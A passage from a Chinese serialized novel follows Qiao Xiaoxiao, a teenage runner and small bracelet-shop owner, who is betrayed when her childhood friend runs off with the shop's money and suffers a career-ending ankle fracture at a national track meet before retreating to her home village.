楚心柔摸了摸她的头发:“潇潇,不要给自己太大压力,你要记得,无论发生什么都有我。” 乔潇潇点了点头,可她就是那种心思重的人。 她其实心里也焦虑。 外行看热闹内行看门道。 她知道,自己的跑步成绩现在是陷入了一个“洼地”。 从学校的圈子里走出去,当她讲目光望向全国的时候,乔潇潇才知道,以前自己在一声声“天才”的赞叹声中,迷失了自己,她不过是井底之蛙,有天赋的人太多了,最可怕的是那些有天赋的人,还特别能吃苦。 到最后,那些金字塔顶端的运动员,都是需要顶级的天赋与全部的汗水,缺一不可。 她拼不过的。 鹿教练说的没错,她需要将更多的时间投入到训练中去。 人一旦着急,就容易“乱”,混乱之下,就容易出错。 也许是因为乔潇潇从捡垃圾开始之后,一切都太顺风顺水了,或许有小挫折,但很快会在贵人的帮助下度过,而这一次,老天似乎跟她开了个玩笑,打的她猝不及防,让她两年来的心血,几乎都付之东流。 【作者有话说】 人生哪有那么多顺风顺水?我们潇潇的确这两年很顺利,也只有挫折与风浪,才更见真情。 56 第56章 ◎她知道,自己完了。◎ “青心”的生意越来越好,好到即使乔潇潇带着袁璐和几个兼职的学生,都忙不过来了。 袁璐这孩子,在潇潇看来确实不聪明,她记东西特别慢,乔潇潇第一次只是教她编了一个简单的同心结,袁璐怎么都学不会,上手的时候,急的手心都是汗。 乔潇潇在心里轻轻地叹了口气,同时有些疑惑,她有关注袁璐的分班考试,她的第一次分班考试考到了六班,她们是一个村子出来的,乔潇潇深知小山村的教学质量,当年的她拼尽全力也就考了个10班,这证明她的智商是没有问题的。 最主要的活,还是得乔潇潇亲自来做,她们一直忙到下午两点,潇潇接到了鹿晨的好几个催促信息。 ——训练! 全国高中生田径赛在即,速来! 潇潇,人呢? …… 乔潇潇心里急的跟什么似的,表面上却依旧云淡风轻的指挥大家干活,她知道,再乱,领头的不能乱。 一直到下午三点,大家才吃上盒饭,乔潇潇没什么胃口,要去训练场,临走前,袁璐拽住她:“大姐,你把最难的那个“一见倾心”款式给我编一下,我录下来,行么?” 那个款式? 别说是袁璐了,就是乔潇潇编一条都需要花费大半个小时,她看了看袁璐,瞅着小女孩满脸的认真,点了点头,耐着性子给她编了一遍。 袁璐看的无比认真,虽然一个步骤都没记住,但好在都录下来了。她是一个心细又知道感恩的孩子,从万柳村来,她遇到了乔潇潇,得到大姐的帮忙,不知道有多开心满足,她总要为她做点什么,这个款式,她看潇潇每次都要编半个多小时,她虽然笨,但是慢慢来总会学会练熟,以后她可以专攻这一个款式的。 乔潇潇赶到田径场时,队伍早已解散。空旷的跑道上,只剩鹿晨一个人抱臂站着,脸色阴沉得像压城的乌云。她本要发作,可看潇潇这几天熬的脸色蜡黄,嘴唇都起小白皮了,她重重地叹了口气,看着乔潇潇,语重心长的说:“潇潇,教练不是要训斥你,只是想要你好好想想,你未来想要的到底是什么?” 话音落下,她转身就走,背影在夕阳里拉出长长的影子。 她自认为自己不像那些一味追求成绩的教练“挤压”运动员,却也不希望她们错失机会,麻木前行。 潇潇站在跑道上怔忡片刻,深深吸进一口带着塑胶味的空气。她利落地甩掉外套,做完最后两组拉伸,独自踏上了绛红色的跑道。 空荡的田径场里,跑鞋与塑胶地面摩擦的声响格外清晰。嗒、嗒、嗒,像一柄小锤子,敲打着暮色渐浓的黄昏。 整整两个小时,即使没有教练监督,她的每个动作都标准得像用尺子量过一样。鹿晨的话语在耳畔挥之不去,可连日来的超负荷运转让她的思绪像打结的绳扣,越理越乱。太阳穴突突地跳着疼,像有人拿着绣花针在里头来回穿梭。 教练说过,她的爆发力不行,尤其是后半程的冲刺。 潇潇在最后一个弯道猛然提速。右踝传来尖锐的刺痛,她硬是咬紧牙关没减速,直到冲过终点线才放任自己跛着脚挪向休息室。 拧开惨白的日光灯,她小心翼翼地褪下跑鞋。脚踝已经肿成发面馒头,在灯光下泛着不正常的红光。晚上还有堆积如山的作业和等着赶制的订单,她草草喷了层云南白药,把疼痛和淤血一起封存在了喷雾的白雾里。 等潇潇一瘸一拐地回到她们租的小工作室准备继续赶工的时候,还没到门口,就听见杨姐姐“嘎嘎嘎”的笑声。 “咋样,心柔,我就问你,咱厉害不厉害?” “比起手上功夫来,没人比我强!” “我今晚就要拿个三八流动红旗,回来让潇潇颁发给我!” …… 乔潇潇愣了愣,她推开门进去的时候,杨绯棠和袁璐齐刷刷地看着她,俩人手里一人拿了个最难的款式,眼睛亮晶晶地看着她,写满了——快,表扬我,表扬我! 不愧是专业打工人乔潇潇,她还没弄明白怎么回事,嘴就比大脑快的先发言了,“好棒啊!” 两个小手,还鼓了鼓掌。 杨绯棠最开心,她不是吹嘘,的的确确在手方面,无论是钢琴还是编绳,她都格外“灵活”。 第一次她就跟楚心柔吹嘘过,当时楚心柔云淡风轻的来了一句:“浪费了。”让她立即涨红了脸选择闭嘴。 乔潇潇回过神,只见楚心柔端着青花瓷碗从厨房转出来,碗里飘着几片晶莹的雪梨。 “喝点梨汤。”楚心柔招呼她,“你嘴角都起泡了。” 原本今天杨绯棠是打算拽着楚心柔去滑雪的。自从上次在崇礼的高级道上一展身手后,她就对那种风驰电掣的感觉念念不忘。楚心柔的滑雪技术可是半专业水准,黑钻级雪道都能轻松驾驭,杨绯棠就喜欢跟她比。 可心柔放不下潇潇,虽然她不说,也知道这孩子最近压力太大。 一碗清甜的梨汤下肚,乔潇潇感觉疲惫减了大半,她喝着眼睛还忙着盯着袁璐,惊讶地发现,她真的会编了,在她离开的近三个小时里,袁璐也没休息,反复在看视频。 她做人做事都是这样,踏实稳重。 知道自己不够聪明,那就付出百倍千倍的汗水。 就像是她的偶像郭靖一样,袁璐想只要自己踏踏实实的,就没有什么拿不下来的,不过是付出比别人多一些的汗水罢了。 “你吃饭了么?”楚心柔盯着乔潇潇的脸看,潇潇看着她,抿了抿唇,怕她担心:“吃了。” 楚心柔冷笑,“你当我是你杨姐姐骗呢?” 无辜中枪的杨绯棠:…… 楚心柔要进去煮面,杨绯棠赶紧站起来,“哎哎哎,我听说小袁还没吃呢,还是我来吧。” 就楚心柔煮那面条,她看着都反胃,也不知道为什么,每次乔潇潇都吃的这么开心,马屁拍的响亮。 杨姐姐可算是半个厨神了,她对于自己喜欢的事儿特别肯专业。 她翻了翻冰箱,看着都是方便面、面包什么的速食品,她特意去楼下超市买了点小龙虾和鸡翅回来,嚷嚷着今晚要露一手。 乔潇潇被楚心柔按在沙发上强制休息,潇潇本来不愿意的,可楚心柔却盯着她的脚看了看,“你的脚怎么回事儿?” 乔潇潇心虚地低下头,不敢看姐姐的眼睛:“哦,不小心扭了一下。” 楚心柔:“要不要去医院看看?” “没事没事,我喷药了。” 自打乔潇潇练体育之后,身上经常会有这样那样的伤,刚开始,楚心柔总拉着她去sophia的医院看,到后来,sophia都笑了,“楚总,你要是真想给我送钱就直说,运动员么,受点伤很正常,她这都是喷喷药就能好的,你看你那如临大敌的模样。不过——”她勾着唇角,两眼含情脉脉地看着乔潇潇:“潇潇啊,你要是想来和我聊天,随时都能来,免费的。” 不愧是她一眼看中的女孩啊,瞧瞧,这才一年的时间,就出落的这么漂亮精致了,潇潇那骨架,走在街上,都会遇到人给她发广告,想要拉着去当模特。 楚心柔面无*表情地看潇潇一眼,“跟你索姨再见。” 乔潇潇听话地抬起小手,“索姨再见。” sophia:…… 厨房里,火焰欢快地跃动着,映照着杨绯棠专注的侧脸,她一遍哼唱着:“是她,就是她,我们的小厨神,杨姐姐!”一边熟练地翻炒着锅中的菜肴。油花在锅中滋滋作响,葱姜蒜的香气渐渐升腾,很快,浓郁的饭菜香就弥漫了整个工作室。这充满烟火气的场景,让人恍惚间有种家的温暖。 有两个姐姐在,乔潇潇紧绷的神经不知不觉松弛下来,她蜷缩在沙发上,眼皮越来越沉,最终陷入了安稳的梦乡。 半梦半醒间,耳边传来杨姐姐和姐姐轻柔的交谈声,那熟悉的语调像一首温柔的摇篮曲,让她睡得更沉了。 杨绯棠心疼地看着潇潇的小脸,“再瘦脸就跟我脚一般大了。” 楚心柔白了她一眼,“那你还做那么辣的上火的东西。” 杨绯棠不乐意了,给她回了个白眼,“你懂不懂年轻人的放松方式?她大姨,高压高强度的工作之后,就是要来一顿又麻又辣的,然后再喝上一杯冰凉的可乐,喔噻,赛过活神仙。” 楚心柔:“我是不懂,我又没有年轻的枕边人。” 杨绯棠:“你一天不呲我难受是不?楚心柔,别以为我不知道,你心疼潇潇,有火没处发,对着我开.炮了。” 楚心柔不说话了,盯着乔潇潇眼里都是心疼。 她个子窜的太快了,一旦体重稍有下降,整个人就显得格外单薄,活像根细长的竹竿。 她的确心疼,也想要告诉潇潇别把自己逼的那么紧,停下来,休息休息,看看路边的风景。 可正因为懂得,了解潇潇的过去,楚心柔才选择了三缄其口,或许,成长的道路上就是需要这样一路攀岩,等时间到了,或者机缘到了,潇潇会停下来吧。 “那么累干什么啊?咱们帮帮她不行么?” 杨绯棠有点按耐不住了,楚心柔看了她一眼,侧了侧身:“好啊,我期待杨姐姐的帮忙。” 杨绯棠:…… 就楚心柔这嘴啊,把善良都给了潇潇,把丑陋都给了她。 她不就是着了点急么? 潇潇这个孩子啊,死倔死倔的,就非要什么“独立自强”,对她还好点,偶尔还去琴房撒小广告,对楚心柔别说让她姐姐帮忙了,恨不得把风雨都扯下来,让楚心柔躲在她乔潇潇的身后。 潇潇一觉醒来之后,感觉精神好多了,尤其是在吃了麻辣小龙虾,又喝了一杯冰镇可乐干了三碗大米饭一盒蛋挞之后,灵魂都归位了。 她吃完准备干活,起身去洗手的时候,杨绯棠站了起来,准备拉住她,跟她谈谈。 乔潇潇的心思都在工作上,没看出她眼里的欲言又止,擦着她杨姐姐就过去了,就这么一个肩膀的碰撞,杨绯棠差点给撞飞,踉跄着后退几步,还是楚心柔眼疾手快地扶住了她。 看着杨绯棠震惊不敢相信瞪的圆溜溜的双眼,楚心柔笑着安慰:“她大姨,你老了。” 杨绯棠两眼发直,“妈呀……我还心疼她呢?她强壮如牦牛,她怎么不把我撞飞啊。” …… 这一晚上,楚心柔都上阵了,看着满满一箩筐的成品,乔潇潇舒了口气,最起码,她能把十月份的货交了,接下来,可以专心迎接双11了。 那个时候的双11,还不像是现在这样到处凑优惠卷,拼单,玩文字游戏,真的是实打实的给优惠给力度。 乔潇潇势必要大干一场,她琢磨的高端带着黄金饰品的新款,在9月初的时候已经试水了,反响很不错,这是她也没有预料到的,原来学生集体里也有那么多“有钱人”。 回家的路上,楚心柔和乔潇潇牵着手,边走边聊着。 “潇潇,你这销量越来越高,你要改变想法和思路了。” 钱,虽然好,但不能困顿其中。 乔潇潇点头,“我知道姐姐,我已经在寻找了。” 她需要找放心靠谱的人。 之前,她给王颖阿姨打了个电话,王颖接到她的电话之后,特别开心:“潇潇啊,我才想着你,你就打来电话了,阿姨要谢谢你啊,之前,你跟我说,让我闺女和你那个学姐搞线上教育,她们真的搞起来了,生意好的不行,我已经过来帮忙了。” 乔潇潇跟王颖聊了一会儿,真心替她开心,王颖还是了解她的,“我听你声音怎么这么疲倦呢?你要是有什么需要帮忙的事儿,你跟姨说啊。” 乔潇潇笑了,“没事儿,姨,就是打电话跟你聊聊。” 到最后,潇潇总算是找到了合适的人。 第二天,潇潇骑着共享单车,去火车站接王宁的时候,大老远看见她,王宁把手挥成了芭蕉扇,她开心极了,“不得了,潇潇,你成大老板了,我要来给你打工了!” 她和宁姐有着从小到大的交情。 乔潇潇用起来放心,最重要的是宁姐大她们几岁,还是全职,她在义务打工了两年,经验也不缺,学了半个星期,基本能从简单的开始上手了,她人勤快极了,每天大家到的时候,她已经把早饭做好了,房间打扫好,等大家晚上回去的时候,她会一个个熄灯,把货捋好,甚至客服不在的时候,她都可以帮忙,一下子让乔潇潇轻松了很多。 王宁现在每天不知道多开心,店铺生意好,潇潇又信任她,一些重要的需要跟厂子去谈的黄金配饰,都是她去,不仅有工资,还有抽成,乔潇潇甚至昨天还琢磨着:“宁姐,你这些年都没上社保么?那怎么行?” 已经研究上社保的事儿了。 唯一糟心的是家里开始陆续给她打电话,催她回去结婚了,为此,她和潇潇哭了几次,“我……在那边的男朋友,我们是经历过患难的……我怎么可能扔下他,回村嫁给一个不爱的人。可是,他们总是拿奶奶的身体说事,我……” 乔潇潇最清楚王宁的处境。她那对父母常年在外打工,把宝贝儿子带在身边娇养,却把王宁扔给奶奶带大。如今急着催婚,无非是想用女儿的彩礼给儿子凑买房钱罢了。 “姐,我们好好做,总会有底气去面对这一切的。” 乔潇潇时不时地安慰她,她是关心王宁,但是精力不允许,下个星期就是全国高中生田径赛,她现在重心都在训练上。 这样单线条前进,乔潇潇还是有余力的,每天跟楚心柔散步的时候,都跟她说说自己今天训练的进展,看着她脸上的笑,姐姐也放心了很多。 楚心柔最近也忙,说是凤依高压之下,出了点问题,她要回去看看,临走前,她很不放心地嘱咐潇潇:“我最多半个月,肯定回来,有着急的事儿,你先跟绯棠说,给我打电话。” 乔潇潇笑了,她点了点头:“姐姐,你放心吧。” 楚心柔总是不放心她,好像在她心里,自己永远是那个小孩子。 越是这样,乔潇潇就越是渴望成功,越想要早一点能让楚心柔看到“自己”。 比赛前夕,“青心”全体员工开了个“冲刺”双11的鼓舞士气大会。 谁也没想到,店铺如今的爆款竟是那款新推出的高端手链——“梅你不行”。 手链下端缀以几朵精致的金色梅花,每朵花瓣都经过手工錾刻,在光线下流转着细腻的光泽。更妙的是,梅花花蕊处还镶嵌着细小的红宝石,远看宛若雪中红梅,既典雅又不失灵动,订单像雪花般飞来。 之前帮着定制饰品的工厂,虽然签了合同,但又毁约了,宁愿赔钱,还是要就地起价,非要加钱。 最终大家拍板,哪怕麻烦一些,也不给她惯这个臭毛病,让王宁去一趟义乌,找之前的老东家谈谈。 王宁毕竟在当地积累了相当的工作经验,加上男友在行业内的人脉资源,一切都很顺利。她每天都会准时向潇潇汇报谈判进度,从原材料采购到加工工艺,事无巨细都沟通得清清楚楚。新合作的工厂在合约条款上确实优势明显,无论是单件成本还是利润分成比例,都比之前的供应商优惠了8%左右。 但问题出在起订量上。潇潇翻看着王宁发回来的合同草案,眉头不自觉地皱了起来。这家工厂要求的最低起订量是之前的三倍,而且还需要预付30%的货款作为定金。更棘手的是,他们的生产周期长达25天,这意味着要提前将一大笔资金压在库存上。这对现金流本就吃紧的小工作室来说,无疑是个不小的挑战。 “品质确实没得挑。”潇潇在视频里对王宁说,“但这个资金占用比例,我们需要重新测算一下ROI。特别是现在梅你不行系列卖得这么好,如果压货太多,万一市场风向有变……” 她停顿了一下,在笔记本上快速计算着几个关键数字,“这样,你问问他们能不能接受阶梯式定价?首批订单我们按他们的最低起订量走,但如果三个月内返单,后续订单能否给予额外的5%折扣?” …… 经过数轮艰难的谈判,合同终于尘埃落定,双方都做出了让步。潇潇咬着牙将全部积蓄都投了进去,一次性给王宁转了七万货款,只留下三万元应急——这笔钱既要预备糯糯的学费,还得维持店铺的基本运转。 袁璐对此踌躇满志,正摩拳擦掌准备大展拳脚时,意外却不期而至。 变故就发生在乔潇潇比赛当天。 这场全国高中生田径锦标赛堪称万众瞩目,不仅三中全校师生翘首以盼,就连国家队的薛教练也亲临现场。一向内敛的鹿晨甚至破例托关系,请相熟的教练帮忙在薛教练面前为潇潇美言几句。 赛场气氛热烈得超乎想象。许多青年选手虽然还在读书,却已经拥有自己的粉丝团。每当有明星运动员出场,观众席上就会爆发出震耳欲聋的欢呼声。彩旗、横幅、荧光棒将看台装点得五彩缤纷,热烈的氛围让每个参赛者都热血沸腾。 乔潇潇在更衣室里换好衣服,正要把手机锁起来的时候,看到屏幕一亮,是袁璐的信息。 到底还是个孩子,遇到事儿就慌了。 她不该在这个时候给乔潇潇发信息的,可她不懂这比赛的分量,潇潇也没有对她说过。 ——大姐,王宁姐联系不上了!!!厂家把电话打到我这儿来了,说咱们的钱没打到账上,是不是要毁约!!!宁姐的手机一直关机,我们打了无数遍了,怎么办啊?! 刹那间,一股刺骨的寒意从心脏直窜向四肢百骸。乔潇潇能清晰地感觉到,冷汗正顺着脊背蜿蜒而下,浸湿了比赛服。可比赛在即,容不得半点迟疑。恍惚间,她看见鹿晨穿过人群走了进来,正用力为她鼓掌。 但此刻,所有的声音都仿佛隔了一层厚厚的雾膜,耳边只剩下自己震耳欲聋的心跳声——咚咚、咚咚。 潇潇甚至不记得自己是如何站上起跑线的。眼前的一切都变得模糊而遥远,唯有观众席上此起彼伏的呐喊声格外清晰。那些挥舞的手臂、激动的面孔,都化作一片斑斓的色块,在视野边缘晃动。跑道两侧的灯光刺得她眼睛发疼,喉咙里泛着铁锈般的血腥味。 比赛开始后,她的节奏完全乱了。一个又一个身影从身边掠过,带起的风刮得她脸颊生疼。她死死咬住下唇,直到尝到血腥味,拼尽全身力气向前冲刺。 冲过终点线的瞬间,乔潇潇发出一声撕心裂肺的呐喊。与此同时,一声清脆的“咔嚓”声从脚踝处传来。她重重跪倒在跑道上,膝盖与塑胶跑道碰撞发出沉闷的声响。剧痛让她的视线瞬间模糊,耳边观众的欢呼声忽然变得无比遥远。 那一刻,所有的汗水与泪水都凝结成冰。 乔潇潇跪倒在跑道上,双膝深深陷入塑胶颗粒中。 这片承载着她无数个清晨与黄昏的田径场,这个她用整个青春等来的机会,此刻都化作锋利的冰棱,一寸寸刺进心脏。 她知道。 自己完了。 【作者有话说】 终于停下来了。好像从叶子写这篇文,潇潇就一直在忙,[捂脸偷看] 57 第57章 ◎姐姐生气了。◎ 乔潇潇重重摔倒在地的瞬间,全场爆发出一阵惊呼。杨绯棠的脸色瞬间煞白,本能地就要往赛场冲去,却被层层围栏阻隔在外,只能眼睁睁地看着鹿晨箭一般冲向乔潇潇,蹲在她身边急切地说着什么。 乔潇潇死死咬着下唇,脸上水光淋漓,分不清是汗水还是泪水。当鹿晨低头检查她脚踝的伤势时,脸上浮现的震惊与错愕,让远处的杨绯棠心头一沉。 乔潇潇是被担架抬下场的。杨绯棠冲上前一把抓住她冰凉的手,只见她苍白的脸上沁着冷汗,却还强撑着对她摇头:“杨姐姐……别告诉姐姐……” 声音虚弱得几乎听不见,却让杨绯棠心疼死了,这崽子都伤成这样了,还惦记别的什么事儿?! 杨绯棠紧跟着担架,目光却死死锁住鹿晨的脸:“教练,她……伤势怎么样?” 鹿晨抿着唇没有立即回答。执教多年的经验让她一眼就能判断伤情轻重,而此刻她凝重的表情已经说明了一切,情况恐怕不太乐观。 掐算着比赛结束的第一时间。 楚心柔给乔潇潇打了电话,潇潇那边接电话的时候,声音很轻,明显是周边有人,“我比完了,姐姐,我拿了第二,和第一就差零点几秒呢。” 她死死咬着唇,忍着脚踝处传来的一阵阵刺痛。 楚心柔今早也不知道怎么了,眼皮一直跳,生怕潇潇有什么事儿,听她这么说,笑了:“那就好那就好。”她知道潇潇现在肯定有很多事要忙,“你杨姐姐怎么不接电话呢?” 乔潇潇的声音压得更低了,看着手术室外正在看手术告知书的杨绯棠,“她兴奋坏了,正和教练聊天。” …… 电话挂断后,乔潇潇盯着病房惨白的天花板,大脑仿佛被那片刺眼的白吞噬,彻底停止了运转。 刚才拍完片子,医生紧锁眉头,把鹿晨叫到一旁,声音压得很低,却字字清晰:“三踝骨折,韧带完全撕裂。” 那一瞬间,鹿晨的脸色“唰”地褪尽血色,双腿一软,若不是杨绯棠眼疾手快地扶住她,她几乎要跌坐在地。 这样的伤…… 乔潇潇太熟悉了。 她忽然想起甜甜留给她的那本“秘籍”,翻开第一页,鲜红的字迹触目惊心。 “绝对不能受的几种伤——切记!切记!” 杨绯棠推开病房门的瞬间,呼吸不由得一滞。 乔潇潇静静地躺在病床上,目光空洞地望着天花板,那双总是盛满朝气的眼睛黯淡无光。白色的被单衬得她脸色越发苍白,整个人仿佛要融进这片刺眼的白色里。 “潇潇……”杨绯棠三步并作两步冲到床前,攥住她冰凉的手,“没事的,现在医学这么发达,会恢复的……” 乔潇潇缓缓转过头,干裂的嘴唇轻轻开合:“杨姐姐,别告诉我姐姐。” 杨绯棠死死咬住下唇才没哭出来,她抚摸着潇潇的额头,强撑着露出笑容:“傻丫头,别胡思乱想。青心的事我都知道了,手术马上就开始,有杨姐姐在呢,嗯?” 乔潇潇定定地望了她许久,忽然扯开一个笑容。这个笑容让杨绯棠心头猛地一揪,她明明在笑,却让人有一种放弃一切的怅然。 “杨姐姐,记得吗?”她的声音轻飘飘的,“之前,我总跟你抱怨,田径和青心就像两个小恶魔,天天在我脑子里打架。”她顿了顿,嘴角的笑意更深了,“现在……我终于可以休息了。” 最后一句话落下时,窗外恰好飘过一片乌云,将病房里的光线遮得更加昏暗。 乔潇潇又看向旁边红着眼的鹿晨,声音很低落,“教练,对不起,我辜负了你的培养。” 她虽然不说,但心里一直都很感激鹿晨,原本想要取得好成绩报答她的,如今看来,再没有这个可能了。 …… 楚心柔这次回家,心里总是七上八下的不安分,每天给乔潇潇的电话打的很勤。 以前,她在的时候,都没有一天联系过两三回的。 楚家的家宴照例是冷清的。偌大的餐厅里,水晶吊灯将每个人的表情映得分明。佣人们穿着笔挺的制服,将一道道精致菜肴无声地呈上。银质餐具碰撞的脆响,反倒衬得席间越发沉寂。 对楚心柔的归来,一家人各怀心思。 楚凤依垂着眼睫,刀叉在盘子里轻轻划动。她自然清楚姐姐是回来替自己收拾残局的,愧疚像根细绳,勒得她几乎喘不过气。 许可晴嘴角噙着笑,自打楚心柔踏进家门那刻起,她面上的笑意就没达过眼底。 唯有楚云疾是真心欢喜。老爷子切着牛排,眼角的笑纹舒展开来。他何尝不知道大女儿那些暗地里为妹妹铺路的手段?但横竖都是自己的骨血,睁只眼闭只眼也就过去了。 吃完饭,楚心柔准备跟楚云疾提离开的事,楚云疾却先一步捻着茶盏,状似随意地问道:“你资助的那个小姑娘怎么样了?” 瓷杯在楚心柔指间微微一颤,茶水晃出细小的涟漪。 她看向许可晴,许可晴心虚地低头喝茶。 楚云疾吹开浮沫,“要是你惦记着不放心,不妨接过来一起住,等办完事再回去,家里不缺这一张嘴。” 楚心柔额头青筋跳了跳,“不用了。” …… 阳光透过纱帘,在病床上洒下斑驳的光影。乔潇潇的右脚被石膏固定着,悬在半空中。 第一次手术进展的挺顺利,医生劝慰着,“慢慢做康复训练,会逐渐恢复。” 杨绯棠颤颤巍巍地问:“那以后还能跑步么?” 医生点了点头,“慢慢恢复,跑步没问题,只是专业运动这条路,怕是走不了了。” 即使已经知道了会是这样的答案,可听到医生这么说,杨绯棠还是躲进洗手间,把水流开到最大,偷偷地哭了一会儿。 回到病房时,她怀里抱着一大束向日葵。金灿灿的花瓣在苍白病房里灼灼绽放,像一个个小太阳。 病房里,她一边打开带来的饭盒,一边笑呵呵地说:“我特意给你炖了猪蹄,以形补形。” 乔潇潇正望着窗外。流云在天际舒展,一群白鸽掠过蓝天。她转过头时,阳光在长长的睫毛上镀了层金边。 她缓缓地转过头,看着强颜欢笑的杨绯棠,轻声说:“杨姐姐。” 杨绯棠看着她,尽量不表现出来难过,“嗯?” 乔潇潇盯着她的眼睛,长长的睫毛轻轻地眨动,“我没事儿的。” 杨绯棠鼻子酸了。 乔潇潇宽慰她,“手术并不疼,打了麻药的。” 比起小时候,黄素兰用鸡毛掸子抽打她,那一下一下锥心刻骨的疼,要好得多。 越是这样,杨绯棠越是难受,她不知道这个孩子,这几天是怎么撑过来的。 青心的事儿,算是潇潇人生第一次面对“欺骗”与“背叛”了,她那么相信的从小一起长大的村子里唯一朋友,卷款跟男朋友跑了,一句话都没留,而她热爱的田径赛场,也再也回不去了。 只是想想,就痛彻心扉。 可乔潇潇知道后,说的却是:“杨姐姐,我家里的卡里还有三万块钱,密码是姐姐的生日,麻烦你帮我取五千,打到糯糯的账号上,剩下的都打到合作工厂的账户上。”她又看袁璐:“好了,小璐,不要哭了,没事儿的,去带着她们把存货清点一下,看看还有多少,想办法折扣大一点,都清空卖出去,尾款也打到工厂上,把工作室退了吧,房租的押金还能退回来一些,差不多够违约金了。” 她已经被骗了,不能再去骗别人,更不能失了信用。 袁璐擦着眼泪,“大姐,我们报警吧。” 报警? 乔潇潇没有说话,脑海里都是小时候和王宁长大的片段。 那时候,村子里的人都说她是瘟神,是扫把星,唯恐避之不及。 只有王宁与她说说话,潇潇买不起书,她就会把学过的书给自己,还有王奶奶……只要家里有富余,看到潇潇总会给她端一碗饭。 她可以选择报警,如果抓到王宁送到监狱里去,那奶奶呢? 大概是她优柔寡断了,是她自己活该吧。 出院那天,乔潇潇拄着拐,在医院门口给楚心柔打了个电话,她努力让自己的声音听起来很开心,“姐姐,你什么时候回来?马上要过年了,大伯说要我回家去看看呢。” 楚心柔那边的声音很嘈杂,她依旧忙碌,却还是笑着说:“那你先回去,回来一起过年,好么?” 乔潇潇的眼角有泪滑落,“好。” 杨绯棠是劝不住乔潇潇的,都给她找好康复的地方了,让她转场再去住一段时间,可潇潇不同意,说什么也要回万柳村。 送她去车站的时候,杨绯棠怎么都不放心,“潇潇,你要是真想回去,我跟你一起,好么?” 乔潇潇摇头,“要过年了,莜莜姐还在等你。” 杨绯棠抿了抿唇,担忧地盯着她的眼睛,片刻之后,问:“你打算什么时候把这事儿告诉心柔?” 乔潇潇沉默了片刻,看着车窗外,“再等等吧。” 能瞒多久是多久。 等她恢复调整的差不多了,姐姐回来后,也不会那么心疼了不是么? 杨绯棠认真地看着她,“你是了解心柔的,她知道后,会生气的。” …… 连日来,一个接着一个打击,冲击的乔潇潇已经没有办法去“顾虑”那么多了。 石膏包裹的右脚悬在半空,稍有不慎碰到地面,便是一阵尖锐的疼痛直窜脑门。那痛感来得突然又剧烈,像是有人拿着锥子狠狠凿进骨头缝里。拄拐时若是角度偏差,更是疼得乔潇潇眼前发黑,冷汗瞬间就浸透了衣服。 可她都没有表现出任何。 她不想要大家担心。 甚至,买完票之前,乔潇潇还回了一趟学校,她被田径队的大家包围在了一起,所有人看她的眼睛都是红红的。 “潇潇。” “潇潇姐……呜呜,你不能走。” “我们舍不得你。” …… 鹿晨站的远远的,她仰头,怕眼泪流下来。 乔潇潇笑着安抚了大家,她把自己的运动服和新买的来不及穿的运动鞋给了一个刚入队家庭条件不好的女孩小花,小花接到后,两眼泪汪汪的。 乔潇潇摸了摸她的头发,像是很多次楚心柔对她做的那样,“你要加油。” 小花看着她,哽咽地说:“姐姐,你真的不练了么?” 她入队的时候就和乔潇潇表达过一个小粉丝的“热爱”,在学校里,她一直把潇潇当做榜样来看的,其实不仅她一个,她们这批贫困生,很多都把潇潇当做偶像追捧,都想做的像她那样优秀。 乔潇潇站在跑道边缘,指尖深深掐进拐杖的橡胶把手。阳光依旧像从前训练时那样,温柔地铺洒在绛红色的塑胶跑道上,蒸腾起熟悉的橡胶气味。她闭上眼深深吸气,让那股混合着汗水与阳光的味道充满胸腔。 这是她最后一次,以运动员的身份站在这里了。 风起,卷着几片枯叶擦过她的运动鞋。她下意识想追,右腿的石膏却重重砸向地面,剧痛如电流般窜上脊背。 拐杖“哒、哒”地敲击着地面,一声比一声慢。 她第一次来到这里的时候,意气风发,懵懂不知,听到能够免费吃自助餐,开心的几乎要跳起来。 如今,阳光依旧灿烂,她最后望了一眼这条承载过无数汗水的跑道,转身时,听见身后传来新队员训练的哨声。 …… 万柳村的黄昏依旧如记忆中般缓慢流淌。 乔潇潇拄着拐杖从大巴车蹒跚而下时,远远望见村口那棵老槐树下,大伯的身影被夕阳熔成一道佝偻的剪影,他频频地张望着尘土飞扬的公路方向。 在看到潇潇后,他三步并作两步上前,粗糙的大手一把抢过行李,“回来了,我做了你爱吃的排骨。” 他嗓音沙哑,目光在触及那根金属拐杖时立即跳开,接到潇潇要回家的电话后,他开心不已,昨天没有去做工,把家里好好打扫了一遍,来了个大扫除,还特意去买了猪肉。 乔潇潇轻轻点头,表情平静地跟着大伯走。 乔半山有意放慢了脚步,感觉到侄女走的艰难,心里发酸发疼。 潇潇跟他提到受伤要回来休息休息,他还以为是小伤……谁想到这么严重。 到了家里,黄素兰并不在,自打潇潇长大后,每次回来,她基本都会“躲”出去。 乔潇潇没有什么胃口,潦草的吃了几口,就躺床上去了。 她很累很累。 累了好久了。 如今,终于能放空大脑,什么都不想,好好睡一觉了。 万柳村的晨雾还未散尽,乔半山已经蹲在门槛上抽完了第三袋烟。灰白的烟灰簌簌落在草鞋边,像极了这些天他欲言又止的心事。 潇潇回来的第四天,依旧整日蜷在里屋的木板床上。晌午时分,王奶奶端着青花瓷盘的身影出现在篱笆外,盘里摞着元宝似的山菜饺子,还冒着热气。 “丫头还没起?”王奶奶踮着脚扒在窗棂边,木窗纸映出她模糊的剪影,“哎呦,这瘦得……” 乔半山的烟袋锅在门框上磕了磕,溅出几颗火星。他望着里屋紧闭的房门,沉默不语。 “青心”与受伤的事儿,乔潇潇回来之后,一个字都没提,但到底是从小带到大的孩子,他还是隐隐感觉出了点什么。 王奶奶恋恋不舍地又看了看,“哎,宁宁那孩子这几天忙的啊,都不接电话,我还想和潇潇聊聊呢,孩子累坏了,快先休息吧。” 到了第六天的时候。 乔潇潇正在床上流泪,听见外面有敲门的声音,还以为是邻居找乔半山去做工的,没有回应。 乔半山在里屋缓慢地起身,走到了院子去开门,老旧的木门“吱呀”一声,天光泻入院落的刹那,他布满老茧的手僵在了门闩上,立即转身去看,悬着的心,重重地落了下去。 木门被猛地推开,山风裹着深秋的寒意卷入屋内。 乔潇潇蜷在泛黄的被褥里,连眼皮都懒得抬:“大伯……我真不饿……” 回答她的只有穿堂而过的风声。 就在意识又要坠入混沌时,一个声音突然刺破寂静: “起来。” 每个音节都像钉子般砸进耳膜。乔潇潇浑身剧震,伤腿在仓皇转身时撞到床板,尖锐的疼痛却远不及眼前景象带来的冲击。 本应该还有五天才能回来的人,此刻却出现在了这里。 逆光而立的楚心柔发梢还沾着晨露,风尘仆仆让一向洁癖的她大衣下摆溅满泥点,那双总是含着笑的眼睛此刻却烧着怒火与心疼。 